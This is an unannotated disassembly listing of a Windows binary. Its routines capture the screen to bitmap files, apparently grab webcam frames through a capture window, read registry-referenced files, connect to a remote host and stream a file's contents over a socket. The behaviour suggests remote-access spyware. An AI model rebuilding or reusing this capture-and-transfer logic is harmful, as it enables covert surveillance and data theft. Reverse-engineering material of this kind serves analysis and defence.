; ---------------------------------------------------------------------------


loc_41541F:				; CODE XREF: sub_4153BD+50j
		xor	ebx, ebx


loc_415421:				; CODE XREF: sub_4153BD+60j
		push	edi
		call	dword_4CB6A0
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4155D6
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4CB698
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4155E1
		push	eax
		push	[ebp+var_4]
		call	dword_4CB524
		cmp	eax, esi
		jz	loc_4155E1
		cmp	eax, 0FFFFFFFFh
		jz	loc_4155E1
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4CB69C
		test	eax, eax
		jz	loc_4155E1
		cmp	ebx, esi
		jz	short loc_4154DE
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4CB578
		mov	ebx, eax


loc_4154DE:				; CODE XREF: sub_4153BD+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		nop
		call	near ptr 27009E9h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4155C1
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		nop
		call	near ptr 26F0000h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 26F0000h
		cmp	ebx, esi
		jz	short loc_4155A3
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	near ptr 26F0000h
		nop


loc_4155A3:				; CODE XREF: sub_4153BD+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		nop
		call	near ptr 26F0000h
		push	[ebp+arg_0]
		call	near ptr 2660868h
		nop
		push	1
		pop	esi


loc_4155C1:				; CODE XREF: sub_4153BD+1A2j
		push	[ebp+var_1C]
		call	dword_4CB5B0
		push	[ebp+var_4]
		call	dword_4CB510
		mov	edi, [ebp+var_20]


loc_4155D6:				; CODE XREF: sub_4153BD+70j
		push	edi
		call	dword_4CB510
		mov	eax, esi
		jmp	short loc_4155F3
; ---------------------------------------------------------------------------


loc_4155E1:				; CODE XREF: sub_4153BD+C7j
					; sub_4153BD+D9j ...
		push	edi
		call	dword_4CB510
		push	[ebp+var_4]
		call	dword_4CB510


loc_4155F1:				; CODE XREF: sub_4153BD+23j
		xor	eax, eax


loc_4155F3:				; CODE XREF: sub_4153BD+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155F8	proc near		; CODE XREF: sub_401ACD+7477p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D3280
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CB5A4
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415636
		mov	eax, esi
		jmp	loc_4157EC
; ---------------------------------------------------------------------------


loc_415636:				; CODE XREF: sub_4155F8+35j
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415653
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB6B0
		jmp	short loc_415655
; ---------------------------------------------------------------------------


loc_415653:				; CODE XREF: sub_4155F8+47j
		xor	eax, eax


loc_415655:				; CODE XREF: sub_4155F8+59j
		cmp	eax, ebx
		jnz	short loc_415660


loc_415659:				; CODE XREF: sub_4155F8+88j
					; sub_4155F8+BCj
		mov	ebx, esi
		jmp	loc_4157E1
; ---------------------------------------------------------------------------


loc_415660:				; CODE XREF: sub_4155F8+5Fj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41567D
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB6B0


loc_41567D:				; CODE XREF: sub_4155F8+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415659
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_4156A3
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6B0
		mov	[ebp+arg_4], eax
		jmp	short loc_4156A6
; ---------------------------------------------------------------------------


loc_4156A3:				; CODE XREF: sub_4155F8+98j
		mov	[ebp+arg_4], ebx


loc_4156A6:				; CODE XREF: sub_4155F8+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415659
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4156CD
		push	1
		pop	ebx
		jmp	loc_4157E1
; ---------------------------------------------------------------------------


loc_4156CD:				; CODE XREF: sub_4155F8+CBj
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4156EA
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_4156EA:				; CODE XREF: sub_4155F8+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415705
		mov	ecx, 280h


loc_415705:				; CODE XREF: sub_4155F8+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415711
		mov	eax, 1E0h


loc_415711:				; CODE XREF: sub_4155F8+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CB5F4
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_41575B
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_41575B:				; CODE XREF: sub_4155F8+153j
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415778
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_415778:				; CODE XREF: sub_4155F8+16Ej
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415797
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_415797:				; CODE XREF: sub_4155F8+18Bj
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4157B4
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_4157B4:				; CODE XREF: sub_4155F8+1AAj
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4157E1
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_4157E1:				; CODE XREF: sub_4155F8+63j
					; sub_4155F8+D0j ...
		push	[ebp+var_4]
		call	dword_4CB704
		mov	eax, ebx


loc_4157EC:				; CODE XREF: sub_4155F8+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157F1	proc near		; CODE XREF: sub_401ACD+752Fp

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D3280
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CB5A4
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41582F
		mov	eax, esi
		jmp	loc_415A2B
; ---------------------------------------------------------------------------


loc_41582F:				; CODE XREF: sub_4157F1+35j
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41584C
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB6B0
		jmp	short loc_41584E
; ---------------------------------------------------------------------------


loc_41584C:				; CODE XREF: sub_4157F1+47j
		xor	eax, eax


loc_41584E:				; CODE XREF: sub_4157F1+59j
		cmp	eax, ebx
		jnz	short loc_415859


loc_415852:				; CODE XREF: sub_4157F1+8Bj
					; sub_4157F1+BCj
		mov	ebx, esi
		jmp	loc_415A22
; ---------------------------------------------------------------------------


loc_415859:				; CODE XREF: sub_4157F1+5Fj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415879
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB6B0


loc_415879:				; CODE XREF: sub_4157F1+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415852
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41589C
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4CB6B0
		mov	[ebp+arg_4], eax
		jmp	short loc_41589F
; ---------------------------------------------------------------------------


loc_41589C:				; CODE XREF: sub_4157F1+96j
		mov	[ebp+arg_4], ebx


loc_41589F:				; CODE XREF: sub_4157F1+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415852
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4158C6
		push	1
		pop	ebx
		jmp	loc_415A22
; ---------------------------------------------------------------------------


loc_4158C6:				; CODE XREF: sub_4157F1+CBj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4158E3
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4CB6B0


loc_4158E3:				; CODE XREF: sub_4157F1+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4158FE
		mov	ecx, 0A0h


loc_4158FE:				; CODE XREF: sub_4157F1+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415908
		push	78h
		pop	eax


loc_415908:				; CODE XREF: sub_4157F1+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41594D
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB6B0


loc_41594D:				; CODE XREF: sub_4157F1+14Aj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41596A
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4CB6B0


loc_41596A:				; CODE XREF: sub_4157F1+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4159A8
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4CB6B0


loc_4159A8:				; CODE XREF: sub_4157F1+1A3j
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4159C3
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4CB6B0


loc_4159C3:				; CODE XREF: sub_4157F1+1C0j
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4159DC
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4CB6B0


loc_4159DC:				; CODE XREF: sub_4157F1+1DBj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4159F9
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB6B0


loc_4159F9:				; CODE XREF: sub_4157F1+1F4j
		push	[ebp+var_4]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415A22
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4CB6B0


loc_415A22:				; CODE XREF: sub_4157F1+63j
					; sub_4157F1+D0j ...
		push	edi
		call	dword_4CB704
		mov	eax, ebx


loc_415A2B:				; CODE XREF: sub_4157F1+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A30	proc near		; CODE XREF: sub_401ACD+25F2p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_4368EC, ebx
		mov	[ebp+var_C], 80h
		jz	loc_415BD1
		push	esi
		push	edi
		mov	eax, offset off_4368EC
		mov	esi, offset dword_4368F8
		mov	edi, offset dword_437AF0


loc_415A60:				; CODE XREF: sub_415A30+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4CB6C4
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4CB554
		test	eax, eax
		jnz	loc_415BB7
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_415B7B
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_429AC4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41B4C2
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_415BB7
		push	eax


loc_415AD9:				; CODE XREF: sub_415A30+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_415B70
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B06
		push	[ebp+var_8]
		jmp	short loc_415AD9
; ---------------------------------------------------------------------------


loc_415B06:				; CODE XREF: sub_415A30+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B34
		lea	eax, [ebp+var_70]
		push	offset asc_437AEC ; "="
		push	eax
		call	sub_41C0F4
		push	offset asc_437AEC ; "="
		push	ebx
		call	sub_41C0F4
		add	esp, 10h
		jmp	short loc_415B37
; ---------------------------------------------------------------------------


loc_415B34:				; CODE XREF: sub_415A30+E4j
		lea	eax, [ebp+var_70]


loc_415B37:				; CODE XREF: sub_415A30+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AD
		add	esp, 18h


loc_415B70:				; CODE XREF: sub_415A30+B9j
		push	[ebp+var_8]
		call	sub_41B05B
		pop	ecx
		jmp	short loc_415BB7
; ---------------------------------------------------------------------------


loc_415B7B:				; CODE XREF: sub_415A30+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AD
		add	esp, 28h


loc_415BB7:				; CODE XREF: sub_415A30+60j
					; sub_415A30+A2j ...
		push	[ebp+var_4]
		call	dword_4CB630
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_415A60
		pop	edi
		pop	esi


loc_415BD1:				; CODE XREF: sub_415A30+19j
		pop	ebx
		leave
		retn
sub_415A30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BD4	proc near		; CODE XREF: ___:00416279p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB6D4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415C50
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB654
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CB694
		cmp	eax, esi
		jnz	short loc_415C35
		push	[ebp+arg_0]
		call	dword_4CB6D8
		test	eax, eax
		jz	short loc_415C50
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415C35:				; CODE XREF: sub_415BD4+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB5FC
		cmp	eax, esi
		jnz	short loc_415C54
		push	edi
		call	dword_4CB6EC


loc_415C50:				; CODE XREF: sub_415BD4+1Bj
					; sub_415BD4+58j
		mov	eax, esi
		jmp	short loc_415C56
; ---------------------------------------------------------------------------


loc_415C54:				; CODE XREF: sub_415BD4+73j
		mov	eax, edi


loc_415C56:				; CODE XREF: sub_415BD4+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415BD4	endp

; ---------------------------------------------------------------------------
word_415C5A	dw 8B55h		; DATA XREF: sub_401ACD+A1Eo
		dd 11B4B8ECh, 0B9E80000h, 8B00005Eh, 56530845h,	8B6D6A57h
		dd 0BD8D59F0h, 0FFFFFE4Ch, 16AA5F3h, 0EC75FF5Eh, 1B0B089h
		dd 858D0000h, 0FFFFFE54h, 0FF42E850h, 0D88BFFFFh, 0FFFB8359h
		dd 8D527559h, 0FFEE4C85h, 7B6C68FFh, 0E8500043h, 5BDAh
		dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch,	50F475FFh
		dd 0FF6C858Dh, 5350FFFFh, 0FF3DA6E8h, 14C483FFh, 0EE4C858Dh
		dd 0E850FFFFh, 0FFFFF4D1h, 0E8F075FFh, 0FFFF572Fh, 90565959h
		dd 2CA313E8h, 0D8086802h, 0E8530043h, 3F6Dh, 0FFF88359h
		dd 8D597559h, 0FFEE4C85h, 7B3C68FFh, 0E8500043h, 5B76h
		dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch,	50F475FFh
		dd 0FF6C858Dh, 5350FFFFh, 0FF3D42E8h, 14C483FFh, 0EE4C858Dh
		dd 0E850FFFFh, 0FFFFF46Dh, 15FF5359h, 4CB6ECh, 0E8F075FFh
		dd 0FFFF56C3h, 0E8905659h, 22CA2A8h, 0E890646Ah, 226A8E6h
		dd 0BEFF33h, 56000010h,	0EE4C858Dh, 5057FFFFh, 581BE8h
		dd 0CC48300h, 0EE4C858Dh, 5657FFFFh, 15FF5350h,	4CB66Ch
		dd 387EC085h, 0EE4C858Dh, 0A068FFFFh, 500042A0h, 6123E8h
		dd 4C858D00h, 50FFFFEEh, 3CA8E8h, 0CC48300h, 1474C085h
		dd 0E890646Ah, 226A88Eh, 80E80A6Ah, 85FFFF55h, 0A37559C0h
		dd 0EE4C858Dh, 868FFFFh, 5000437Bh, 5AB1E8h, 0F87D3900h
		dd 1B755959h, 4C858D57h, 0FFFFFFEEh, 8D50F475h,	0FFFF6C85h
		dd 0E85350FFh, 0FFFF3C7Fh, 8D14C483h, 0FFEE4C85h, 0AAE850FFh
		dd 59FFFFF3h, 0EC15FF53h, 0FF004CB6h, 0E8F075h,	59FFFF56h
		dd 0E5E89057h
		db 0A1h, 2Ch, 2
; ---------------------------------------------------------------------------


loc_415E1B:				; DATA XREF: sub_401ACD+7832o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CB6D4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_415E69
		push	offset unk_437C6C
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415E69:				; CODE XREF: ___:00415E5Dj
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CB654
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CB680
		test	eax, eax
		jz	short loc_415EA7
		push	offset unk_437C48
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415EA7:				; CODE XREF: ___:00415E9Bj
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CB5F8
		push	dword ptr [ebp-2Eh]
		call	dword_4CB584
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41AFE0
		pop	ecx


loc_415ED9:				; CODE XREF: ___:00415F0Aj
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_415EEC
		push	5Fh
		pop	eax
		jmp	short loc_415EEF
; ---------------------------------------------------------------------------


loc_415EEC:				; CODE XREF: ___:00415EE5j
		movsx	eax, al


loc_415EEF:				; CODE XREF: ___:00415EEAj
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41AFE0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_415ED9
		push	ebx
		push	edi
		call	dword_4CB67C
		test	eax, eax
		jz	short loc_415F22
		push	offset unk_437B6C
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415F22:				; CODE XREF: ___:00415F16j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		call	near ptr 27009E9h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_415F4C
		push	offset unk_437C28
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415F4C:				; CODE XREF: ___:00415F40j
		push	esi
		push	eax
		nop
		call	near ptr 2730BA4h
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AC10
		pop	ecx
		push	eax
		call	dword_4CB694
		push	eax
		call	dword_4CB650
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_437C10
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A73
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CB63C
		test	eax, eax
		jg	short loc_415FFC
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_437BF8
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A73
		jmp	loc_416120
; ---------------------------------------------------------------------------


loc_415FFC:				; CODE XREF: ___:00415FDAj
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CB6E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_416035
		push	offset unk_437BD4


loc_416022:				; CODE XREF: ___:00415E64j
					; ___:00415EA2j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_416123
; ---------------------------------------------------------------------------


loc_416035:				; CODE XREF: ___:0041601Bj
		push	edi
		call	dword_4CB6EC
		cmp	[ebp+8], esi
		jz	loc_4160E7
		mov	edi, 400h


loc_41604A:				; CODE XREF: ___:004160DEj
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_416057
		mov	[ebp-4], eax


loc_416057:				; CODE XREF: ___:00416052j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2760000h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2700000h
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CB6A4
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
